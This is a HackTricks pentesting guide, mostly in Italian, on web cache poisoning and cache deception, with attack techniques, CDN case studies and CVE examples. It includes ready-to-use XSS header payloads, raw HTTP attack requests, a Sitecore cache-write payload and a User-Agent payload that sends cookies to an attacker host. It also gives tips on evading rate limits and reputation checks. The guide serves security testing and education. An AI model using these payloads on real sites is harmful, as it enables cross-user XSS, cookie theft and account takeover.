22 KiB
Raw Blame History

Cache Poisoning and Cache Deception

{{#include ../../banners/hacktricks-training.md}}

La differenza

What is the difference between web cache poisoning and web cache deception?

  • In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
  • In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.

Cache Poisoning

Cache poisoning mira a manipolare la cache lato client per costringere i client a caricare risorse inaspettate, parziali o sotto il controllo di un attacker. L'entità dell'impatto dipende dalla popolarità della pagina colpita, dato che la risposta avvelenata viene servita esclusivamente agli utenti che visitano la pagina durante il periodo di contaminazione della cache.

L'esecuzione di un attacco di cache poisoning comporta diversi passaggi:

  1. Identification of Unkeyed Inputs: questi sono parametri che, pur non essendo richiesti affinché una richiesta venga cached, possono alterare la risposta restituita dal server. Identificare questi input è cruciale perché possono essere sfruttati per manipolare la cache.
  2. Exploitation of the Unkeyed Inputs: dopo aver identificato gli unkeyed inputs, il passaggio successivo consiste nel capire come abusare di questi parametri per modificare la risposta del server in modo vantaggioso per l'attacker.
  3. Ensuring the Poisoned Response is Cached: l'ultimo passaggio è assicurarsi che la risposta manipolata venga memorizzata nella cache. In questo modo, qualsiasi utente che accede alla pagina interessata mentre la cache è avvelenata riceverà la risposta contaminata.

Scoperta: Controlla gli HTTP headers

Di solito, quando una risposta è stata stored in the cache ci sarà un header indicating so, puoi controllare quali header dovresti considerare in questo post: HTTP Cache headers.

Scoperta: Caching dei codici di errore

Se pensi che la risposta venga memorizzata in una cache, potresti provare a inviare richieste con un header malformato, che dovrebbe essere risposto con un status code 400. Poi prova ad accedere alla richiesta normalmente e se la response è uno status code 400, sai che è vulnerabile (e potresti anche eseguire un DoS).

Puoi trovare più opzioni in:

{{#ref}} cache-poisoning-to-dos.md {{#endref}}

Tuttavia, nota che a volte questo tipo di codici di stato non vengono cached quindi questo test potrebbe non essere affidabile.

Scoperta: Identificare e valutare gli unkeyed inputs

Puoi usare Param Miner per brute-forceare parametri e header che potrebbero cambiare la risposta della pagina. Ad esempio, una pagina potrebbe usare l'header X-Forwarded-For per indicare al client di caricare lo script da lì:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Provocare una risposta dannosa dal back-end server

Con il parameter/header identificato controlla come viene sanitizzato e dove viene riflesso o come influisce sulla risposta dall'header. Riesci comunque ad abusarne (perform an XSS or load a JS code controlled by you? perform a DoS?...)

Mettere la risposta in cache

Una volta che hai identificato la pagina che può essere abusata, quale parameter/header usare e come abusarne, devi far sì che la pagina venga messa in cache. A seconda della risorsa che stai cercando di mandare in cache questo può richiedere del tempo, potresti dover riprovare per diversi secondi.

L'header X-Cache nella risposta può essere molto utile perché può avere il valore miss quando la richiesta non è stata cacheata e il valore hit quando è in cache.
L'header Cache-Control è anche interessante per sapere se una risorsa viene cacheata e quando sarà la prossima volta che la risorsa sarà nuovamente cacheata: Cache-Control: public, max-age=1800

Un altro header interessante è Vary. Questo header è spesso usato per indicare additional headers che sono trattati come parte della cache key anche se normalmente non sono keyati. Pertanto, se l'utente conosce il User-Agent della vittima che sta prendendo di mira, può poison the cache per gli utenti che usano quel specifico User-Agent.

Un altro header relativo alla cache è Age. Definisce il tempo in secondi in cui l'oggetto è stato nella proxy cache.

Quando metti in cache una request, fai attenzione agli header che usi perché alcuni di essi potrebbero essere usati inaspettatamente come keyed e la vittima dovrà utilizzare lo stesso header. Testa sempre una Cache Poisoning con browser differenti per verificare che funzioni.

Esempi di sfruttamento

Esempio più semplice

Un header come X-Forwarded-For viene riflesso nella risposta senza essere sanitizzato.
Puoi inviare un payload XSS di base e poisonare la cache in modo che chiunque acceda alla pagina venga XSSed:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Nota che questo avvelenerà una richiesta a /en?region=uk e non a /en

Cache poisoning to DoS

{{#ref}} cache-poisoning-to-dos.md {{#endref}}

Cache poisoning through CDNs

In this writeup viene spiegato il seguente scenario semplice:

  • La CDN metterà in cache qualsiasi cosa sotto /share/
  • La CDN NON decodificherà né normalizzerà %2F..%2F, pertanto può essere usato come path traversal per accedere ad altre posizioni sensibili che saranno messe in cache come https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • Il web server DECODERÀ e normalizzerà %2F..%2F, e risponderà con /api/auth/session, che contiene l'auth token.

I cookie possono anche essere riflessi nella risposta di una pagina. Se puoi abusarne per causare un XSS, per esempio, potresti riuscire a sfruttare l'XSS in più client che caricano la risposta memorizzata nella cache malevola.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Nota che se il cookie vulnerabile viene usato molto dagli utenti, le richieste regolari puliranno la cache.

Generare discrepanze con delimitatori, normalizzazione e punti

Controlla:

{{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}}

Cache poisoning con path traversal per rubare la API key

This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 because anything matching /share/* will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.

Questo è spiegato meglio anche in:

{{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}}

Usare più header per sfruttare web cache poisoning vulnerabilities

A volte dovrai sfruttare diversi unkeyed inputs per poter abusare di una cache. Ad esempio, potresti trovare un Open redirect se imposti X-Forwarded-Host su un dominio che controlli e X-Forwarded-Scheme su http. Se il server sta inoltrando tutte le richieste HTTP a HTTPS e usa l'header X-Forwarded-Scheme come nome di dominio per il redirect, puoi controllare verso dove il redirect indirizza la pagina.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Sfruttando un Vary header limitato

Se scopri che l'header X-Host viene usato come nome di dominio per caricare una risorsa JS, ma l'header Vary nella risposta indica User-Agent, allora devi trovare un modo per exfiltrate il User-Agent della vittima e poison the cache usando quel user agent:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Invia una richiesta GET con la request sia nell'URL che nel body. Se il web server usa quella dal body ma il cache server memorizza nella cache quella dall'URL, chiunque acceda a quell'URL userà effettivamente il parameter proveniente dal body. Come la vuln James Kettle ha trovato al sito di Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

C'è un laboratorio PortSwigger su questo: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Ad esempio è possibile separare i parametri nei server ruby usando il carattere ; invece di &. Questo può essere usato per inserire valori di parametri senza chiave all'interno di quelli con chiave e abusarne.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Qui puoi imparare come eseguire Cache Poisoning attacks by abusing HTTP Request Smuggling.

Test automatici per Web Cache Poisoning

Il Web Cache Vulnerability Scanner può essere usato per testare automaticamente la presenza di Web Cache Poisoning. Supporta molte tecniche diverse ed è altamente personalizzabile.

Esempio d'uso: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Questo schema osservato nel mondo reale concatena una primitiva di reflection basata su header con il comportamento del CDN/WAF per avvelenare in modo affidabile l'HTML in cache servito ad altri utenti:

  • L'HTML principale rifletteva un header della request non attendibile (es. User-Agent) in un contesto eseguibile.
  • Il CDN rimuoveva gli header di cache ma esisteva una cache interna/origin. Il CDN inoltre auto-cacheava le richieste che terminavano con estensioni statiche (es. .js), mentre il WAF applicava ispezioni di contenuto più deboli alle GET per asset statici.
  • Anomalie nel flusso di richiesta permettevano a una richiesta verso un path .js di influenzare la cache key/variant usata per il successivo HTML principale, abilitando XSS cross-user tramite reflection dell'header.

Ricetta pratica (osservata su un CDN/WAF popolare):

  1. Da un IP pulito (evita downgrades basati sulla reputazione), imposta un User-Agent maligno tramite browser o Burp Proxy Match & Replace.
  2. In Burp Repeater, prepara un gruppo di due richieste e usa "Send group in parallel" (la modalità single-packet funziona meglio):
  • Prima richiesta: GET di una risorsa .js sullo stesso origin mentre invii il tuo User-Agent maligno.
  • Immediatamente dopo: GET della pagina principale (/).
  1. La race di routing del CDN/WAF insieme al .js auto-cacheato spesso semina una variante HTML in cache avvelenata che viene poi servita ad altri visitatori che condividono le stesse condizioni di cache key (es., le stesse dimensioni Vary come User-Agent).

Esempio di header payload (per esfiltrare cookie non-HttpOnly):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operational tips:

  • Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
  • Using an IP from the CDN's own cloud sometimes improves routing consistency.
  • If a strict CSP is present, this still works if the reflection executes in main HTML context and CSP allows inline execution or is bypassed by context.

Impact:

  • If session cookies arent HttpOnly, zero-click ATO is possible by mass-exfiltrating document.cookie from all users who are served the poisoned HTML.

Defenses:

  • Stop reflecting request headers into HTML; strictly context-encode if unavoidable. Align CDN and origin cache policies and avoid varying on untrusted headers.
  • Ensure WAF applies content inspection consistently to .js requests and static paths.
  • Set HttpOnly (and Secure, SameSite) on session cookies.

Sitecore preauth HTML cache poisoning (unsafe XAML Ajax reflection)

Un pattern specifico di Sitecore permette scritture non autenticate nell'HtmlCache abusando degli handler XAML preauth e della reflection di AjaxScriptManager. Quando viene raggiunto l'handler Sitecore.Shell.Xaml.WebControl, è disponibile un xmlcontrol:GlobalHeader (derivato da Sitecore.Web.UI.WebControl) e la seguente reflective call è consentita:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Questo scrive HTML arbitrario sotto un attackerchosen cache key, permettendo un avvelenamento preciso una volta che i cache keys sono noti.

Per i dettagli completi (cache key construction, ItemService enumeration and a chained postauth deserialization RCE):

{{#ref}} ../../network-services-pentesting/pentesting-web/sitecore/README.md {{#endref}}

Esempi vulnerabili

Apache Traffic Server (CVE-2021-27577)

ATS inoltrava il fragment all'interno dell'URL senza rimuoverlo e generava il cache key usando solo host, path e query (ignorando il fragment). Quindi la richiesta /#/../?r=javascript:alert(1) veniva inviata al backend come /#/../?r=javascript:alert(1) e il cache key non conteneva il payload, solo host, path e query.

GitHub CP-DoS

L'invio di un valore errato nell'header content-type scatenava una risposta 405 memorizzata nella cache. Il cache key conteneva il cookie quindi era possibile attaccare solo utenti non autenticati.

GitLab + GCP CP-DoS

GitLab usa GCP buckets per memorizzare contenuti statici. GCP Buckets supportano l'header x-http-method-override. Quindi era possibile inviare l'header x-http-method-override: HEAD e avvelenare la cache provocando il ritorno di un body di risposta vuoto. Potrebbe anche supportare il metodo PURGE.

Rack Middleware (Ruby on Rails)

Nelle applicazioni Ruby on Rails, il middleware Rack è spesso utilizzato. Lo scopo del codice Rack è prendere il valore dell'header x-forwarded-scheme e impostarlo come scheme della richiesta. Quando viene inviato l'header x-forwarded-scheme: http, avviene un redirect 301 alla stessa posizione, potenzialmente causando un Denial of Service (DoS) su quella risorsa. Inoltre, l'applicazione potrebbe riconoscere l'header X-forwarded-host e reindirizzare gli utenti all'host specificato. Questo comportamento può portare al caricamento di file JavaScript da un server dell'attaccante, comportando un rischio per la sicurezza.

403 and Storage Buckets

Cloudflare in passato cacheggiava risposte 403. Tentare di accedere a S3 o Azure Storage Blobs con header Authorization errati causava una risposta 403 che veniva memorizzata nella cache. Anche se Cloudflare ha smesso di cacheggiare le risposte 403, questo comportamento potrebbe essere ancora presente in altri proxy.

Iniezione di parametri con chiave

Le cache spesso includono specifici parametri GET nel cache key. Per esempio, il Varnish di Fastly memorizzava nella cache il parametro size nelle richieste. Tuttavia, se veniva inviata anche una versione URL-encoded del parametro (es., siz%65) con un valore errato, il cache key sarebbe stato costruito usando il parametro corretto size. Eppure, il backend avrebbe processato il valore nel parametro URL-encoded. URL-encoding del secondo parametro size portava alla sua omissione da parte della cache ma al suo utilizzo dal backend. Assegnare il valore 0 a questo parametro portava a un errore 400 Bad Request cacheabile.

Regole User Agent

Alcuni sviluppatori bloccano richieste con user-agent che corrispondono a quelli di tool ad alto traffico come FFUF o Nuclei per gestire il carico del server. Ironia della sorte, questo approccio può introdurre vulnerabilità come cache poisoning e DoS.

Campi header illegali

https://datatracker.ietf.org/doc/html/rfc7230 specifica i caratteri accettabili nei nomi degli header. Gli header che contengono caratteri al di fuori dell'intervallo tchar dovrebbero idealmente scatenare una risposta 400 Bad Request. In pratica, i server non si conformano sempre a questo standard. Un esempio notevole è Akamai, che inoltra header con caratteri non validi e cacheggia qualsiasi errore 400, purché l'header cache-control non sia presente. È stato identificato un pattern sfruttabile in cui l'invio di un header con un carattere illegale, come \, risultava in un 400 Bad Request cacheabile.

Trovare nuovi header

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

L'obiettivo di Cache Deception è far sì che i client carichino risorse che verranno salvate nella cache con le loro informazioni sensibili.

Per prima cosa nota che extensions such as .css, .js, .png etc sono di solito configurate per essere salvate nella cache. Therefore, if you access www.example.com/profile.php/nonexistent.js the cache will probably store the response because it sees the .js extension. But, if the application is replaying with the sensitive user contents stored in www.example.com/profile.php, you can steal those contents from other users.

Altre cose da testare:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Usa estensioni meno conosciute come .avif

Un altro esempio molto chiaro si trova in questo write-up: https://hackerone.com/reports/593712.
Nell'esempio, viene spiegato che se carichi una pagina non esistente come http://www.example.com/home.php/non-existent.css il contenuto di http://www.example.com/home.php (con le informazioni sensibili dell'utente) verrà restituito e il server di cache salverà il risultato.
Poi, l'attaccante può accedere a http://www.example.com/home.php/non-existent.css nel proprio browser e osservare le informazioni confidenziali degli utenti che hanno effettuato l'accesso prima.

Nota che il cache proxy dovrebbe essere configurato per cacheggiare i file in base all'estensione del file (.css) e non basarsi sul content-type. Nell'esempio http://www.example.com/home.php/non-existent.css avrà un content-type text/html invece di un text/css mime type.

Scopri qui come eseguire Cache Deceptions attacks abusing HTTP Request Smuggling.

Strumenti automatici

  • toxicache: scanner Golang per trovare vulnerabilità di web cache poisoning in una lista di URL e testare diverse tecniche di injection.

Riferimenti

{{#include ../../banners/hacktricks-training.md}}